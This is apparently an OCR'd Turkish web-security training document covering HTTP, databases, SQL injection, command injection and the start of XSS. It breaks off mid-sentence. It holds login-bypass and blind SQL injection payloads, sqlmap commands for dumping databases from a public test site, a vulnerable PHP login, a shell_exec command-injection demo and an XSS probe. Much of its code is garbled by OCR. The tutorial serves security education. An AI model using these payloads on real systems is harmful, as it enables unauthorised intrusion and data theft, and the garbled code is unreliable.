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1) HTTP

HTTP (ingilizce Hypertext Transfer Protocol, Tiirkce Hiper
Metin Transfer Protokoli) bir kaynaktan dagitilan ve ortak
kullanima acik olan hiperortam bilgi sistemleri icin uygulama
seviyesinde bir iletisim kuralidir.

HTTP protokolii sunucu(server) ve istemci(client)
arasinda iletisim kurmaktadir. Tium dinyada default olarak
80. Portta calisir.

GuUndmuz web tarayicilarini kullanarak bir web sitesine
girmeye calistigimizda, web tarayici default olarak 80. Porta
talep gonderir. Cinkl ulasmaya calistigimiz web sitesinin
sunucusunda web servisi 80. Portta calistigini varsaymistir.

http://www.bga.com.tr/ ve http://www.bga.com.tr:80

arasinda hicbir fark yoktur. Ulasmaya calistiginiz web
sitesinin sunucusu, http hizmetini baska bir porttan veriyorsa;
80 yazan kismi degistirebilirsiniz.

BGA Bilgi Glvenligi Egitim ve Danismanlik Ltd. Sti — bilgi@bga.com.tr — www.bga.com.tr | Sayfa 3



http://www.bga.com.tr/
http://www.bga.com.tr/

Web Uygulama Glivenligi #101

Web tarayicimizla internette gezerken, girdiginiz her web
sitesi icin HTTP oturumu gerceklestirilir. Bu yapinin nasil
calistigina deginelim.

HTTP oturumunun baslamasi icin, 31U el sikismanin client
ve server arasinda tamamlanmasi germektedir.

| s >

< ACK[x+1) SYN [y) |
- J

| ACK(y+1) >
L

1- Kullanici, ulasmak istedigi web sitesinin sunucusuna
bir adet SYN paketi gonderir.

2- Bu paketi alan sunucu, cevap verebilecek
durumdaysa SYN+ACK paketini kullaniciya gonderir.

3- Kullanici bu paketi alir ve ACK paketi “tamam” der.

3’li el sikisma tamamlandiktan sonra HTTP protokoli
uzerinden trafik baslayacaktir.
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a) SSL Nedir ? HTTPS

Netscape tarafindan 1994 yilinda gelistirilen Secure
Socket Layer (Turkce'ye Guvenli Yuva Katmani olarak
cevrilebilir) protokoll, internet tGzerinden sifrelenmis givenli
veri iletisimi saglar.

HTTP protokolu, sifresiz (clear text) trafiktir. Bir
networkte ortada ki adam saldiri yapan hacker, o networki
kullanan tim kullanicilarin internet trafigini elde edecektir.
Trafik sifresiz oldugu icin, networkte ki diger kullanicilarin
hangi web sitelerine girdiklerinden tutunda kullanici adi ve
sifrelerine kadar ele gecirilebilir. Bu durumu engellemek icin
HTTPS vardir.

GUnUmuz web tarayicilari tarafindan desteklenmektedir.

Web Tarayicinizin herhangi bir yerinde gordiugiiniiz altin
renkli asmakilit resmi SSL glivencesinde oldugunuzun
isaretidir. Bu kilit resmine cift tiklayip SSL sertifikasinin
kimden alindigi, gecerlilik stresi gibi bilgileri gorebilirsiniz. SSL
kullanici adi, sifre, kredi karti bilgileri gibi bilgilerin, gerekliyse
tum oturum bilgilerinin sifrelenerek iletilmesini saglar.
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2) Veri tabani Nedir ?

Veri tabani diizenli bilgiler toplulugudur. Kelimenin
anlami bilgisayar ortaminda saklanan duzenli verilerle sinirli
olmamakla birlikte, daha cok bu anlamda kullaniimaktadir.
Bilgisayar terminolojisinde, sistematik erisim imkani olan,
yonetilebilir, glincellenebilir, tasinabilir, birbirleri arasinda
tanimli iliskiler bulunabilen bilgiler kiimesidir. Bir baska tanimi
da, bir bilgisayarda sistematik sekilde saklanmis,
programlarca islenebilecek veri yiginidir.

Veri tabani sistemlerine 6rnek olarak; MySQL,
PostgreSQL, Oracle, MsSQL, Firebird yazilimlari gosterilebilir.

Gunumuzde veri tabani (database), neredeyse her alanda
kullanilmaktadir. Adres defterinizden bir adresi arastirmaniz
bile bir veri tabani sorgusudur. Arama motorlari sayesinde
ulastiginiz bilgiler de yine veri tabanlari ile haberlesir.

a) Tablolar

Veri tabaninda bilgilerin saklandigi alt birimlere tablo
denir. Veri tabanlari tablolardan olusmaktadir. Bir veri
tabaninda ayni isimde iki tablo bulunamaz. Tabi ki farkh veri
tabanlarinda ayni isimde tablolar bulunabilir.
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b) Kolonlar

Veri tabaninin tablolardan olustugunu belirtmistik.
Tablolar da kolonlardan olusur. Kolonlar, her birinde ayni
tirden veri saklayan birimlerdir. Ornegin dégrenci bilgilerini
saklayan bir tabloda, bir kolon 6grenci numarasini, bir kolon
adini ve diger bir kolon da soyadini tutar. Yani her bir
Ozellesmis bilgi, bir kolonda saklanir.

c) Satirlar

Bir tablodaki bilgiler satirlarda saklanir. Her bir kayit
kendi sirasinda tutulur. Yine Excel tablolarini gozunizde
canlandirirsaniz, dikey kolonlar tablolarin kolonlarina, yatay
satirlar ise tablolarin satirlarina karsilik geldigini gorirstinuz.

Veri tabani sistemleri hakkinda bu bilgilere sahip olmak
baslangic ve bu dokiimandan verim alabilmeniz acisindan
onemlidir.

d) Veri Tabani Sorgulari

SQL Injection saldirilari bolimu neredeyse veri tabani
sorgularindan ibarettir. Bu nedenli basit dlizeyde veri tabani
sorgularini bilmeniz 6nemlidir. Bu kisimda MySQL veri tabani
sistemi Uzerinde calisacagiz. Dogal olarak sorgulari yazis
seklimiz —sqgl syntax’imiz- MySQL’e 6zglidir. Mantik ise tim
veri tabani sistemleri icin gecerlidir.
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SPOR
Basketbol Futbol
isim Yas isim yas
Mehmet 21 Utku 22
Eralp 20 Cem 23

Yukarida Basket ve Futbol isimli iki adet tablo
bulunmaktadir. Bu tablolar SPOR isimli bir veri tabanina aittir.
Sekli incelediginizde veritabani, tablo, kolon ve satir isimli veri
tabani 6zelliklerini daha iyi anlayabileceksiniz. Bir adet veri
tabani sorgusu yazalim. Veri tabani sorgulari ile, elimizde ki
veri tabanini isleyebilmekteyiz.

SELECT isim,yas FROM Basketbol WHERE isim = ‘Mehmet’

SQL sorgulari veri tabani ile konusmak gibidir. Ustteki sorgu veri
tabanina “Basketbol isimli tabloya git, isim adinda ki kolonlara bak.
Eger burada Mehmet kelimesini bulursan o satira ait isim ve yas
kolonlarinda ki bilgileri bana getir.” Demekteyiz.Ornekler
cogaltilabilir;
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SELECT * FROM Futbol WHERE yas < 25

PS: Yildiz isareti, islem yapilan tabloda ki tim kolonlari ifade
eder.

Peki ornek verdigimiz 2 sorguyu birlestirmek istersek. Yani tek
bir sorgu ile hem Futbol hemde Basketbol tablolarinda SELECT islemi
yapmak istersek ne yapacagiz ?

SELECT isim,yas FROM Basketbol WHERE isim = ‘Mehmet” UNION SELECT * FROM Futbol WHERE yas < 25

SELECT ifadesi se¢cme islemi yaparken UNION ifadesi ise saginda
ki ve solunda ki 2 sorguyu ayri ayri ¢calistirir. Her ikisinden dénen
sonucu birlestirir ve size verir. UNION ifadesinin anlatilma nedeni;
SQL Enjeksiyonu konusunda ¢ok kritik bir 6nemi olmasidir.

3) Web Uygulama Giivenligine Giris

Web teknolojilerine bakis acisi her zaman ayni olan
insanlar vardir. Hacker’lar yani Bilgisayar korsanlar.
Bilgisayar korsanlarinin amaclarindan birisininde bilgi
calmaktir. Bu nedenle Hacker’lar icin web uygulamalari
onemlidir.
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Hacktivist: Hacktivist'ler kendilerine gore kotu veya yanlis

olan toplumsal veya politik sorunlari dile getirmek amaciyla
belirli siteleri hack'leyerek mesajlarini yerlestirirler.

Bu dokimanin yazildigi tarihlerde, hacktivist gruplarin
saldiri dizenledikleri kuruluslardan bilgi caldiklari ve bu
bilgileri internet ortaminda paylastiklari gortulmdistir. Bu
duruma sadece hacktivist gruplar acisindan bakmak yanlstir.
Ayni sektorde bulunan rakip sirketlerde bu duruma ornektir.
Bir sirket, rakip oldugu baska bir sirketin web sitesine, hizmet
disi birakma veya veri tabanindan bilgi calma saldirilari
dizenlemesi icin hackerlardan yararlanbilir.

Sonuc olarak; web uygulamalari hackerlar icin 6nemlidir.
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# Web Uygulamalarinin risk analizi ve kritik yol.

©

Threat Attack Security Security Technical Business
Agents Vectors Weaknesses Controls Impacts Impacts

s -‘ Attack Weakness @ = @ Control® = =, Impact

F=® Asset O
x @ Weak "o @CONtrol® = »1 e
r/.— eakness ® = -9 rol® = -

>0 40

Function
Attack ” b= =® Weakness — e . Impact
Asset ‘14/

——® Weakness ’—TControl

Saldirganlarin hedefi olan web uygulamasinda birden
fazla guvenlik acigi olabilir. Farkh glivenlik aciklarina, farkl
saldiri teknikleriyle yaklasilir. Sonuc olarak; birden cok tehdit
olabilir. Sistemde birden cok guvenlik acigi bulunablir. Bu
gluvenlik aciklar farkli farkli durumlara gebe olabilir. Ama
onemli olan, hedef sirketin darbe almasidir. Hangi yollardan

nasil yapildiginin bu noktadan sonra 6nemi, bir tek gtivenlik
uzmanlariicin vardir.
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4) Enjeksiyon (Injection)

Injection saldirilari, kullanicilardan gelen datalarin kontrol
edilmeden komutlarda veya veri tabani sorgularinda
kullanilmasiyla meydana gelir.

Injection saldirilari cok tehlikelidir. Bunun nedeni; bu tir
zafiyetleri somuren saldirgan, dogrudan hedef sunucuda
komut calistirabilme haklari kazanir. Veya hedef sistemin veri
tabaninin tamamini ele gecirebilir.

a) Sorgu Enjeksiyonu (SQL Injection)

SQL Injection saldirilari, hedef web sitesinin kullandigi
veri tabaninda yetki olmadan sql sorgulari calistirmaktir.
zinsiz sorgu calistirmalar sonucu veri tabanindan hassas
bilgiler calinabilir. Veri tabani sunucusuna sizilabilir.

i) Giris Atlatma ( Login Bypass )

Sizlere tablolar,kolonlar ve basit sql sorgulari mantigini
“Veri Tabani Nedir?” isimli bolimde aktarmistik. Veri tabani
sistemlerinden herhangi biriyle hic ilgilenmemis olan
arkadaslarin “Veri Tabani Nedir?” isimli basligi tekrar
okumalarini 6neriyorum.
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veritabani.php giris.php

< ?php

$link = mysql connect('localhost', 'root', '');

('$link) {
('Baglanti Hatasi : mysql _error());

=T

mysql_error()});

Resimde ki aciklamalari ve kodlari inceleyiniz.
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Veritabani.php dosyasi ile “root” kullanicisiyle veritabani
sistemine baglanti gerceklestirilmistir. Ardindan “bga” isimli
veritabani secilmistir.

veritabani.php giris.php

<?php

error_reporting(@);

("veritabani.php');

$k_adi % REQUEST['k_adi'];
$k_sifre % REQUEST['k_sifre'];

$sorgu " kullanicilar k_adi="$k_adi'’

echo "Kullanici adi
"Kullanici sifre :"

echo $sorgu."<br><br>";

$sonuc mysgl query($sorgu,$link);
($sonuc)
echo "Sorgu basari ile calistirildi :)<br>";

echo "Sorgu basarisiz :(<br>";

var_dump( mysgl fetch array( $sonuc )} )}

Resimde ki aciklamalari ve kodlari inceleyiniz.

Giris.php dosyasi ile kullanicidan gelen girdiler ile veri
tabanina sorgu gondermektedir. Sorgudan dénen datayi
ekrana yazmaktadir.
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Veritabani sistemine gonderilecek sorguyu ve
kullanicidan gelen datalari ekrana yazdirmaktayiz. Bunun
nedeni ise, birazdan yapacagimiz sql injection saldirilarinda
neyi neden yaptigimizi net bir sekilde anlayabilmenizdir.

'e i} | localhost:B080/bga/giris.php?k_adi=mehmetfl_sifre=123456

20 En cok ziyaret edilenler @) Ik Adim I3 In Gowan Ring - Two ... D) Aleah - Water and Win...

Eullanici adi -mehmet
Kullanici sifre :123456

SELECT * FROM kullanicilar WHERE k_adi='mehmet’ and k_sifre="123456'

Sorgu basari ile calistirildi ©)

array
0 =% =string '"1l' (length=1)
'id' =» string '"1' (length=1)
1 => =tring "mehmet' (lengtbh=&)
'k adi' =¥ string 'mehmet' (length=g)
2 =% string "123456' (length=&)
'k zifre' => stzing "123456' (length=g)
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6 i} | localhost:B080/bga/ginis.phpTk_adi=mehmetfk_sifre=123456yanlisSifre

|2 En cok ziyaret edilenler| @) Tk Adim IO In Gowan Ring - Two ... I Aleah - Water and Win... I3 In Gou

Kullanici adi :mehmet
Kullanici sifre :123456yanlisSifre

SELECT * FROM kullanicilar WHERE k_adi='mehmet’ and k_sifre="123456vanlisS1fre’

Sorgu basari ile calistirildi ©)

boolean false

Bu iki ornek ile dogru ve yanlis bilgiler ile giris yapinca
ekrana yazilanlari gormekteyiz. Peki isleri biraz degistirelim.

%= [ | localhost:8080/bga/giris.php?k_adi= HACKER&k_sifre=HACKER

2l En cok ziyaret edilenler (@) Ik Adim I3 In Gowan Ring - Two ... I Aleah - Water and Win... I3

EKullanici adi - HACKER
Kullanici sifre HACKER

SELECT * FROM kullanicilar WHERE k_adi=HACKER' and k_sifre=HACKER'

Sorgu basan ile calistirildi ©)

boolean falze

Kullanici adi ve sifreye “HACKER” yazdigimizda veri
tabaninda sorgu calistirildi ama herhangi bir sonu¢c donmedi.
Cunku bu isimde bir kullanici mevcut degil.
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6 ._J localhost:8080,/bga/giris.phpTk_adi=HACKER' or 1'="18&k_sifre=HACKER' or '1'="1

|0 En gok ziyaret edilenler @ flk Adim I3 In Gowan Ring - Two ... I3 Aleah - Water and Win... I In Gowan Ring - Tw
Kullanici adi -HACKER or '1'=1

Kullanici sifre :-HACKER or '1'='1

SELECT * FROM kullamicilar WHERE k_adi=HACKER' or 'I'='1' and k_sifre=HACKER. or 'I'=T

Sorgu basan ile calistirildi -)

ArTray
0 => =tring 1t {iength=i,]
'id' =% =tring "1' (length=1)
1 => =tring 'mehmet' (langbh=§g)
'k _adi' =¥ striang 'mehmet' (length=g)
2 =% a=tring '12345&' (length=&)
'k gifre' => =tring '123456' (length=é)

Kullanici adi: HACKER’ or ‘1="1
Sifre: HACKER’ or “1="1

Yazdigimizda ise ekrana veri tabaninda ki iki
kullanicininda bilgileri geldi. Bunun nasil gerceklestigi ? Neden
HACKER’ or “1="1 gibi bir sey yazdigimizin cevabi olusan SQL
sorgusunda gizli.

SELECT * FROM kullanicilar WHERE k_adi="HACKER' or '1'="1" and k_sifre="HACKER' or '1'='1'

Veri tabani sistemleri mantiksal ifadeleri
isleyebilmektedirler. Yukarida ki sorgu adim adim su islemleri

yapar.
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1- Kullanicilar tablosuna git.
2- Kullanici adi HACKER olani bul. Veya 1=1 esit mi ?
3- ve sifresi HACKER olani bul. Veya 1=1 esit mi ?

HACKER adinda kullanici adi ve sifre bulamasa bile “or”
baglaci kullanildigi icin ve 1=1 esitligi TRUE oldugu icin bu
sefer kullanicilar tablosunun tamami donecektir.

Burada bir sorun daha yasanabilmektedir. Bildiginiz lizere
login sistemleri,login gerceklestirildikten sonra size bir
COOKIE verirler ve oturumunuz baslar. Oturum bilgilerinize
eklenen datalar veri tabanindan gelenlere gore
olabilmektedir. Bu veri tabanindan birden cok satir donmesi
durumunda sistemler yazilan kod yapisina gore farkli sekilde
davranis gosterirler. Bizde LIMIT isimli sorgu yapisi ile
kullanicilar tablosunun ilk kaydini getirebiliriz. Kullanicilar
tablosunda ki kayitlarin ilk %99’u sistem yOneticisine aittir©
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SONUC ?

_ S { 1 localhost:2080/bga/giris.php?k_adi=mehmetBik_sifre=123456

En ¢ok ziyaret edilenler W Ik Adim I3 In Gowan Ring - Two ... D3 Aleah - Water and Win...

Kullanici adi -mehmet
Kullanici sifre :123456

SELECT * FROM kullanicilar WHERE k_adi='mehmet’ and k_sifre="123456'

Sorgu basari ile calistirildi -)

array
0 => =tring "1l' (length=1} giris yapmasi.
'id" = string "l' (length=1)
1l => =tring 'mehmet' (length=&)
'k adi' => =tring 'mehmet' (length=g&)
2 =» string "123456' (length=g)
'k sifre' => string '123456" (length=g)

Normal bir kullanicinin sisteme

_ \(; {1 | localhost:8080/bga/giris.php?k_adi=HACKER' or '1'="18tk_sifre=HACKER' or 1'="1

En gok ziyaret edilenler w flk Adim I In Gowan Ring - Two ... [ Aleah - Water and Win... I3 In Gowan Ring - Tw:

Kullanici adi :-HACKER or '1'='1
Kullanici sifre -HACKER or '1'="1

SELECT * FR.OM kullanicilar WHERE k_adi=HACKER' or '1'="1" and k_sifre=HACKER. or '1'='1"

Sorgu basart ile calistirildi -}

array
0 =» =tring "1' (length=1)
'1d' = wezing '1' (length=1) Saldirganain normal kullanicinin
1 =» =tring "mehmet' (lengbh=§}
'k adi' =¥ =string 'mehmet' (length=é&])
2 => sering "123456' (length=é)
'k sifre' = sezing '123456' (length=¢€)

hesabina giris yapmasi.
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ii) Basit Sql Injection ( Basic SQLi )

Giris Atlatma bolimunde anlatilanlar ile sunu 6grendik.
SQL injection saldirilari ile veri tabaninda sorgular
calistirabilmekteyiz. ister login bypass icin, isterseniz veri
tabanindan veri calmak icin kullanabilirsiniz.

Hedef : http://testphp.vulnweb.com

Saldirilarimizi bu adres Gizerinde gerceklestirecegiz.

http://testphp.vulnweb.com/listproducts.php?cat=1

Adresine giris yapildiginda karsimiza bir liste ¢ikmaktadir.

http://testphp.vulnweb.com/listproducts.php?cat=2

Adresine giris yaptigimizda ise karsimiza, 1 adet Gyesi
bulunan bir liste ¢cikmakta. En iyi tahminimize gore;
listproducts.php dosyasi “cat” isimli degisken ile kullanicidan
alinan datay! “ SELECT * FROM tabloadi WHERE no = Scat “
seklinde bir veri tabani sorgusunda kullanmakta. Clinku biz
“cat” degiskenine farkl numaralar atadigimizda, farkl
sonuclar cikmakta.

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=1

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0

“Giris Atlama” basliginda mantiksal sorgulari nasil ve ne amacgla
kullanacagimizdan bahsetmistik. Burada “or” yerine “and” mantiksal
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ifadesini tercih ediyoruz. Bunun nedenini aciklamak icin sorgumuza

donmeliyiz.

SELECT * FROM tabloadi WHERE no = Scat and 1=1
SELECT * FROM tabloadi WHERE no = Scat and 1=0

Ik sorguya baktigimizda “and” yapisina gelmeden once ki
kisim dizglince ¢calismaktadir. Aslinda biz “and 1=1" ile veri
tabanina string olarak gonderdigimiz mantiksal ifadeler, veri
tabani sistemi tarafindan isleniyor mu ? sorusuna cevap
ariyoruz. Veri tabani “and 1=1" sorgusuna TRUE yanit
donerken “and 1=0" kismina FALSE donusu yapacaktir. Eger
bu iki sorgu icin web tarayicisinda donen cevap birbirinden
farkli ise potansiyel bir sql injection zafiyeti mevcut demektir.

Unutulmamalidir ki her zaman “false positive” ihtimali
vardir.

Bu noktadan sonra isi Havij yada Sqlmap uygulamalari devreye
girmektedir. Otomatize arac¢ kullanmanin yararli zararlarina genel
olarak baktigimizda.
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YARARLAR:

e Zamandan kazang
e  Her veri tabani sisteminin syntax’ini ve yapisini bilme
zorunlulugunun kalmamasi.

ZARARLARI:

e False positiveo
e  Guvenilmeyen otomatize araglarin sizden habersiz loglama
yapma olasiliklari

Bu noktadan sonra isi Havij yada Sqlmap uygulamalari devreye
girmektedir. Acikcasi sgqlmap en cok tercih ettigimiz aractir.

Sqlmap hedef lGzerinde test calismalari yaparken, hata yazilarini
ve sistemin davranisi izleyerek veri tabani sistemini tespit etmeye
calisir. Hangi veri tabani sisteminin kullanildiginin tespit, yapilacak
sql injection saldirilarinda, sql syntax’i acisindan olduk¢a 6nemlidir.

http://testphp.vulnweb.com/listproducts.php?cat=2’

ile cat degiskenine bir adet iki bir adette tek tirnak atadigimizda
karsimiza

Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
" at line 1

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /variwwwivhosts/default’htdocs/listproducts.php on
line 74
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Hatasi gelmektedir. Hata incelendiginde veri tabani sisteminin
MySQL oldugu acikca gorilmektedir.

# python sqlmap.py -u "http://testphp.vulnweb.com/listp:

--dbms parametresi ile hedefin MySQL sistemini kullandigini
belirtmekteyiz. —v 3 parametresi eklerseniz, sqlmap’in génderdigi
tlm sorgulari gorebilirsiniz.

[06:37:54] [PAYLOAD] 1 ORDER BY 10#
[06:37:56] [PAYLOAD] 1 ORDER BY 20#
[06:37:58] [PAYLOAD] 1 ORDER BY 15#
[06:38:00] [PAYLOAD] 1 ORDER BY 13#
[06:38:02] [PAYLOAD] 1 ORDER BY 12#
[06:38:04] [PAYLOAD] 1 ORDER BY 11#
[06:38:05] [INFO] target url appears to have 11 columns in query
[06:38:05] [PAYLOAD] 1 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL,
CONCAT(0x3a736b6a3a,0x794d574b436944656557,0x3a6f6d723a), NULL, NULL, NULL, NULL#

[06:38:07] [PAYLOAD] 1 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL,
CONCAT(0x3a736b6a3a,0x794d574b436944656557,0x3a6f6d723a), NULL, NULL, NULL, NULL UNION ALL SELECT NULL, NULL, NULL,
NULL, NULL, NULL, CONCAT(0x3a736b6a3a,0x4b46456f7970644e6¢72,0x3a6f6d723a), NULL, NULL, NULL, NULL#

[06:38:10] [INFO] GET parameter 'cat' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

Sqlmap’in ciktlari —v 3 ile incelendiginde yukarida ki
gorulmektedir. Sglmap yaptigi incelemeler sonucunda “cat”
parametresi Usttinden Union teknigini kullanarak Sql Injection
saldirisi yapilabildigini soylemektedir. Sglmap bunu tespit ettikten
sonra size diger saldiri tekniklerinide deneyip denemek
istemediginizi soracaktir. Bu soruya hayir dedikten sonra artik sira
veri tabanindan verileri calmaya gelmekte.

BGA Bilgi Glvenligi Egitim ve Danismanlik Ltd. Sti — bilgi@bga.com.tr — www.bga.com.tr | Sayfa 23




Web Uygulama Glivenligi #101

--current-db
--dbs “SELAM”
-—-dump-all

--dump

--tables

--columns

Mevcut database’in adini getir

= Her seyi getir.

= Belitilen tablo, kolon yada veritabanini dumpet

= Tablo atamak
= Veri tabani atamak
= Kolon atamak
= Tablolari getir

= Kolonlari getir

Saldiriicin SELAM isimli veri tabanini kullan

Kullanilan Komut:

python sglmap.py -u
"http://testphp.vulnweb.com/listp

roducts.php?cat=1" --dbms
"MySQL" -D "acuart" --tables
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Kullanilan Komut:

python sglmap.py -u
"http://testphp.vulnweb.com/listp
roducts.php?cat=1" --dbms

"MySQL" -D "acuart" -T "users" --
columns

Tum veri tabani Havij ve sqlmap gibi toolar ile
calinabilmektedir.

iii) Kor SQL Enjeksiyonu (Blind Injection)

Turkce cevirisi “kor enjeksiyon” olan bu saldiri teknigi iyi bir
veritabani bilgisi gerektirmektedir. Tim sql injection saldirilarinda
oldugu gibi bu saldiri tirimizde de mantik aynidir. Zaten veri
tabanina yolladigimiz stringlerin, ifadelerin isleme girdigini fark
edebildigimiz siirece saldirilari gerceklestirebilmekteyiz.

Blind SQL Injection, normal sql injection saldirilarina gore daha
zordur. Cuinku artik veritabani ile evet-hayir oyunu oynanir.
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http://www.hedefsistem.com/index.php?id=1+and+1=1

http://www.hedefsistem.com/index.php?id=1+and+1=0

Web tarayicisinda ekrana donen sonuglar birbirinden farkl.
Yolladigimiz string ifadelerin veri tabaninda isleme alindigini anladik.
Ve bu iki komut ile suna karar verilmekte. Eger sorgumuza MySQL
“evet” cevabini veriyorsa ekrana, Ustte ki ilk sorgunun ¢iktisinin
aynisi. “Hayir” cevabini veriyorsa ise Ustte ki ikinci sorgunun
ciktisinin aynisi gelecektir. Bu bizim i¢in cok dnemlidir. Cinkl artik
veri tabani ile konusabilecegimiz bir lisanimiz var. Artik sorgular daha
tehlikeli haller almaya baslar. Simdi ki ama¢ MySQL versiyonunu
ogrenmek.

http://www.hedefsistem.com/index.php?id=1+and+substring(
@ @version,1,1)>=5

Eger cevap “evet” ise MySQL versiyonu 5.x’tir.Degilse 4.x veya
daha eski bir versiyondur. Peki bu sorgu ne ise yariyor? Substring()
bir MySQL fonksiyonudur ve kendisine argliman olarak verilen
karakter katarini belirlediginiz sinirlar dahilinde keser ve kestiginiz
kismi sonug olarak dondurir. Version() fonksiyonu MySQL’in 5.x
oldugu sistemlerde “5.0.45-mince” gibi bir sonu¢ dondurir. Bizde
bunun substring ile keser, basta ki “5” rakamini alir ve mantiksal
sorguya verlestirip MySQL’e gondeririz. Aslinda Ustteki sorgu

http://www.hedefsistem.com/index.php?id=1+and+5>=5
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Seklindedir. Bu da gordigliniz gibi ilk basta “evet” olarak kabul
ettigimiz sorgu ile aynidir.

MySQL versiyonumuz 5.x olduguna karar verdik. Evet artik daha
da tehlikeli sorgular gelecektir.

http://www.hedefsistem.com/index.php?id=1+and+ascii(substr
ing((SELECT+tablo name+FROM-+information schema.tables+LIMIT
+1,1),1,1))=97

Bu insanlik disi sorgu ne yapacaktir? Tek tek inceleyelim.

substring((SELECT+tablo_name+FROM+information_schema.ta
bles+LIMIT+1,1),1,1)

Bu Ustteki kisim information_schema’da kayith olan tablolari
LIMIT ile sinirlandirip bir tanesini aliyor ve substring() fonksiyonu bu
tablo adinin ilk harfini kesiyor. En dista ki ascii() ise bir MySQL
fonksiyonudur ve argiiman olarak kendisine verilen karakterin ASCII
tabloda ki karsiligini dondurir. Donen degerin 97 oldugunu
varsayarsak, aslinda sorgumuz

http://www.hedefsistem.com/index.php?id=1+and+97=97

olacaktir ve bu da bizim “evet” dedigimiz sorgunun aynisidir.
Geriye sadece ASCII tablodan 97’nin karsiligina bakmak kalmakta.
Artik ilk karakterini ascii karsiligi 97 olan tablonun ikinci karakterinin
ve diger karakterlerinin ascii karsthgini bulmak kaldi.Bunun igin
substring() fonksiyonuna kacinci karakteri ¢cekip almasi gerektigini
soylemek lazim.
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http://www.hedefsistem.com/index.php?id=1+and+ascii(substr
ing((SELECT+tablo name+FROM-+information schema.tables+LIMIT
+1,1),2,1))=97

Artik yeni sorgumuz bu halde. Substring()’e ufak bir degisiklik
yaptik. Bu sekilde hacker’'imiz diger karakterleri de bularak basarili
bir sonuca varmis olacaktir.

http://testphp.vulnweb.com/listproducts.php?cat=1

Adresini hatirlamaktasiniz. Bu adres uzerinden Basit Sql
Injection ile veri tabani verilerini ¢aldik. Simdi ise burada ki zafiyeti
Basit Sql Injection teknigi yerine Blind Sql Injection teknigi ile
somurelim.

http://testphp.vulnweb.com/listproducts.php?cat=1+and+1=1

http://testphp.vulnweb.com/listproducts.php?cat=1+and+1=0

Sorgulari ile TRUE ve FALSE gorinuslerini belirledik.

http://testphp.vulnweb.com/listproducts.php?cat=1+and+subs
tring(@ @version,1,1)>4

Donen sayfa TRUE olarak gozuikmete. Buda MySQL
versiyonunun 5.x oldugunu gostermektedir.
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http://testphp.vulnweb.com/listproducts.php?cat=1+and+ascii(
substring(database(),1,1))>80

database() veri tabani adini getiren bir MySQL fonksiyonu.
Hatirlarsaniz veri tabani adi “acuart” idi. Ascii tabloda a’nin karsihgi
97’dir. Biz substring() ile acuart’in ilk harfini kesiyoruz. Ve bunun
ascii karsihigini aliyoruz sonra 80’den bliyliik mi ? diye soruyoruz.

http://testphp.vulnweb.com/listproducts.php?cat=1+and+97>80

Aslinda sorgumuz bu hale donmekte. Binary search algoritmasi
ile tim veritabanini elde edebilirsiniz.

b) Isletim Sistemi Komut Calistirma Zafiyetleri

Gelistirilen web uygulamasinda ki ihtiyaca gore, bazen web
uygulamalarinin Gzerinde ¢alistiklari isletim sisteminde komut
calistirmalari gerekebilir. Ornek vermek gerekirse;

1- Browser Uzerinden sunucunun process list’ini gormek
isteyebilirsiniz.

2- HTTP GET FLOOD saldirisina karsi gtivenlik dnlemi alan bir
modulinizin ip banlayabilmesi icin isletim sistemi komutu
calistirmasi gerekebilir.

Ve akliniza gelebilecek bir cok durum nedeniyle isletim sistemi
uzerinde komut calistiriimasi gerekebilir.

PHP programlama dilinde isletim sisteminde komut calistirma
imkani sunabilen ama kullanmasi ihtiras dolu bazi fonksiyonlar
vardir. Bunlardan baslicalari asagidaki listede mevcuttur.
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e System
° Passthru
° Exec

e Shell _exec

Kullanicinin deger atamasi yaptigi gelen isimli degisken,
shell_exec isimli fonksiyona verilir ve bu sekilde isletim sisteminin
komutlari calistirilabilir.

Bazi web uygulamalarinda bu tir zararl olabilecek fonksiyonlar
kullanilmaktadir. Kontrolsuzce kullanilmasi saldirganlara sunucu
uzerinde istedikleri komutlari calistirabilecekleri bir kapi agmaktadir.

{1 httpe/flocalho...p?gelen=whoami

[k | I _ .
€& || localhost 8080/bga/test.php?gelen=whoami

|#0 En cok ziyaret edilenler @ flk Adim I3 In Gowan Ring

nt authority'\system
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5) Caprak Betik Sorgulama (XSS)

XSS yani Cross Site Scripting tehlikeli bir glivenlik acigidir. Farkl
programlama dilleri ile gelistirilen bir cok web uygulamasinda
bulunabilmektedir. Cross Site Scripting, saldirganin zararli kodlarini
web uygulamasina dahil etmesi ile baslar. Daha 6nce de belirttigim
gibi web uygulamalarina saldirilar kullanici girdileri ile
yapilabilmektedir. XSS’ de ayni sekildedir. Yaziliminizda ki bir html
formu, arama moduili, XSS barindiran potansiyel noktalardir.

<?php
Sgelen = S_REQUEST[‘gelen’];
echo Sgelen;

?>

Yukarida ¢ok basit 2 satir php kodu bulunmaktadir. Bu kodlar
bir web uygulamasinin arama modiiliinden ufak bir kisimdir. ilk
satirda kullanicidan Sgelen degiskenine deger girilmesi beklenmekte,
ikinci satirda ise bu girilen deger ekrana yazdirilmaktadir. Sizin arama
satirina yaptiginiz girdi, arama sonucunda donen sayfada “aradiginiz
kelime : ” seklinde, bu mantikla yazdiriimaktadir. Demek ki burada
yaptiginiz girisler hem veri tabanina sorgu olarak gitmekte, hem de
ekrana yazdirilmaktadir. Dogal olarak SQL Injection ve XSS
zafiyetlerinin ayni yerde bulunmasinin en olasi oldugu noktalar
buralar olmaktadir.
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http://www.hedefsite.com/arama.php?gelen=kitaplar

Seklinde olan kisimi hacker degistirecektir. Asagida ki sekilde bir
giris yaparak Sgelen degiskenine verdigi degerin ekrana bir sekilde
gelip gelmedigini kontrol edecektir.

http://www.hedefsite.com/arama.php?gelen=BGATEST

Donen sayfada bu girdigi “BGATEST” kelimesi varsa artik
hacker’imiz web uygulamasina mudahile edebildigini gorecektir ve
tehlikeli hareketlere baslayacaktir.

http://www.hedefsite.com/arama.php?gelen=<script>alert(‘ha
cker’)</script>

Ustte ki gibi bir giris ile hacker tek tirnak, biyiktir, kiictktir
gibi karakterlerin filtrelenip filtrelenmedigini kontrol edecektir.
Hacker’in beklentisi ekrana ufak bir pencerede “hacker” yazisi
gelmesidir.

Web tarayiciniz lizerinden mail adresinize girerseniz, bir
